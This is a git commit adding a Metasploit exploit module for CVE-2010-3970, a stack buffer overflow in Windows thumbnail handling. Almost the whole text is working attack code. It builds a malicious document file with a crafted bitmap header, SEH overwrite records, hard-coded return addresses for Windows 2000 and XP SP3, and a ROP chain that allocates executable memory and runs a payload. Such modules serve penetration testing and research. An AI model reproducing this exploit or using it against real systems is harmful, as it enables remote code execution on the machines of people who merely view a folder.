add exploit for cve-2010-3970
git-svn-id: file:///home/svn/framework3/trunk@11466 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
parent
24388f3a38
commit
4fc19971ae
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@ -0,0 +1,316 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in the handling of thumbnails
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within .MIC files and various Office documents. When processing a thumbnail bitmap
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containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This
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leads to arbitrary code execution.
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In order to trigger the vulnerable code, the folder containing the document must be
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viewed using the "Thumbnails" view.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Moti & Xu Hao', # original discovery
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'Yaniv Miron aka Lament of ilhack',
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'jduck' # Metasploit module
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-3970' ],
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#[ 'OSVDB', '?????' ],
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#[ 'MSB', 'MS11-XXX' ],
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#[ 'BID', '????' ],
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[ 'URL', 'http://www.powerofcommunity.net/schedule.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'AutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00",
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'DisableNops' => true # no need
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# This automatic target will combine all targets into one file :)
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[ 'Automatic', { } ],
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# Windows 2000 is a soft target... You're not still using it are you?
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[ 'Windows 2000 SP0/SP4 English',
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{
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'Offset' => 1548, # Offset to SEH frame
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'Ret' => 0x75022ac4 # p/p/r ws2help.dll v5.0.2134.1
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}
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],
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# My test machine didn't have l3codeca.acm loaded (as mentioned in their slides)
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# However, it did have msacm32.drv
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[ 'Windows XP SP3 English',
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{
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'Offset' => 1560, # Offset to SEH frame
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# Address from msacm32.drv v5.1.2600.0
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'Ret' => 0x72d11676, # push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]
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# This ends up becoming eip due to above SafeSEH bypass
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'PivotOffset' => 1652,
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'RopStart' => 592
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}
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],
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=begin
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[ 'Windows Server 2003 SP2',
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{
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'Offset' => 1576, # Offset to SEH frame
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'Ret' => 0xfeedfed5
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# rop is possible with l3codeca.acm, but its not clear how to force it to be loaded.
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# Also, it changed in Feburary 2010 ...
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}
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],
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=end
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# crash on a deref path to heaven.
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[ 'Crash Target for Debugging',
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{
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'Ret' => 0xdac0ffee
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 15 2010'))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),
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], self.class)
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end
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def exploit
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
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stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
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if (not stg)
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raise RuntimeError, 'Unable to create output file'
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end
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stm = stg.create_stream("\x05SummaryInformation")
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if (not stm)
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raise RuntimeError, 'Unable to create SummaryInformation stream'
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end
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stm << generate_summaryinfo()
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stm.close
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stg.close
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print_status("Generated output file #{out}")
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end
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def generate_summaryinfo
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si = Rex::OLE::PropertySetStream.new
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ps = Rex::OLE::PropertySet.new(Rex::OLE::FMTID_SummaryInformation)
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bihdr = [
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0x08, # ??
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0x28, # biSize (struct size)
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0x50, # biWidth
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0x58, # biHeight
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0x01, # biPlanes
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0x08, # biBitCount
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0x00, # biCompression
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0xa8c0, # biSizeImage
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0x00, # biXPelsPerMeter
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0x00, # biYPelsPerMeter
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# biClrUsed
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0x80000001,
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0x00 # biClrImportant
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].pack('VVVVvvVVVVVV')
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# ClipboardData
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data = rand_text(8192)
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data[0, bihdr.length] = bihdr
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data[48, payload.encoded.length] = payload.encoded
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if target.name == "Automatic"
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targets.each { |t|
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next if t.name !~ /Windows/i
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add_target(data, t)
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}
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else
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add_target(data, target)
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end
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prop = Rex::OLE::Property.new(Rex::OLE::PIDSI_THUMBNAIL, Rex::OLE::VT_CF, data)
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ps << prop
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si << ps
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si.pack
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end
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def add_target(data, targ)
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if targ['PivotOffset'] and targ['RopStart']
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data[targ['Offset'] + 4, 4] = [targ.ret].pack('V')
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rvas = rvas_explorer_xpsp3()
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rop = generate_rop(rvas)
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pivot = rva2addr(rvas, 'add ebp, [edx+6] / pop eax / leave / ret 4')
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data[targ['PivotOffset'], 4] = [pivot].pack('V')
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data[targ['RopStart'], rop.length] = rop
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else
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seh = generate_seh_record(targ.ret)
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distance = targ['Offset'] + seh.length
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distance -= 48 # the entire source buffer isn't copied
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seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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data[targ['Offset'], seh.length] = seh
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end
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end
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def rvas_explorer_xpsp3()
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# explorer.exe version v6.0.2900.5512
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# Just return this hash
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{
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'add ebp, [edx+6] / pop eax / leave / ret 4' => 0x2be9c,
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'ret' => 0x3ebd,
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'int3 / ... / ret' => 0x1922f,
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'mov eax, esi / pop edi / pop esi / ret' => 0x2648,
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'pop ebp / ret' => 0x3ebc,
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'add eax, ebp / ret' => 0x13124,
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'mov eax, [eax] / ret' => 0x74b7,
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'pop ebx / ret' => 0x4bd5,
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'push eax / call ebx' => 0xedc7,
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'pop edi / pop esi / ret' => 0x23bb,
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'pop ecx / ret' => 0x1acd9,
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'call [ecx] / pop ebp / ret 0x10' => 0x2ad52,
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'pop edi / ret' => 0x319bc,
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'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret' => 0x88c4,
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'mov [eax], ecx / pop ebp / ret 4' => 0xa747,
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'jmp eax' => 0x2080
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}
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end
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def generate_rop(rvas)
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# ROP fun! (XP SP3 English, Dec 29 2010)
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rvas.merge!({
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# Instructions / Name => RVA
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'BaseAddress' => 0x01000000,
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'imp_VirtualAlloc' => 0x11e8,
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'Scratch' => 0x46060
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})
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rop_stack = [
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'ret',
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:unused, # from pivot
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# First, get the address of our source buffer in relation to the
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# SEH record pointer now saved in ESI
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'mov eax, esi / pop edi / pop esi / ret',
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:unused,
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:unused,
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'pop ebp / ret',
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0xfffffa18,
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'add eax, ebp / ret',
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'pop ebx / ret',
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'pop edi / pop esi / ret',
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'push eax / call ebx',
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# Allocate an RWX memory segment
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'pop ecx / ret',
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'imp_VirtualAlloc',
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'call [ecx] / pop ebp / ret 0x10',
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0, # lpAddress
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0x1000, # dwSize
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0x3000, # flAllocationType
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0x40, # flProt
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:unused,
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# Copy the original payload
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'pop ecx / ret',
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:unused,
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:unused,
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:unused,
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:unused,
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0x80, # dwords to copy
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'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret',
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:unused,
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:unused,
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# Add a jump over the space/crap
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'pop ecx / ret',
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0x90901aeb,
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'mov [eax], ecx / pop ebp / ret 4',
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:unused,
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'jmp eax'
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]
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rop_stack.map! { |e|
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if e.kind_of? String
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# Meta-replace (RVA)
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raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
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rvas['BaseAddress'] + rvas[e]
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elsif e == :unused
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# Randomize
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rand_text(4).unpack('V').first
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else
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# Literal
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e
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end
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}
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rop_stack.pack('V*')
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end
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def rva2addr(rvas, key)
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raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
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rvas['BaseAddress'] + rvas[key]
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end
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end
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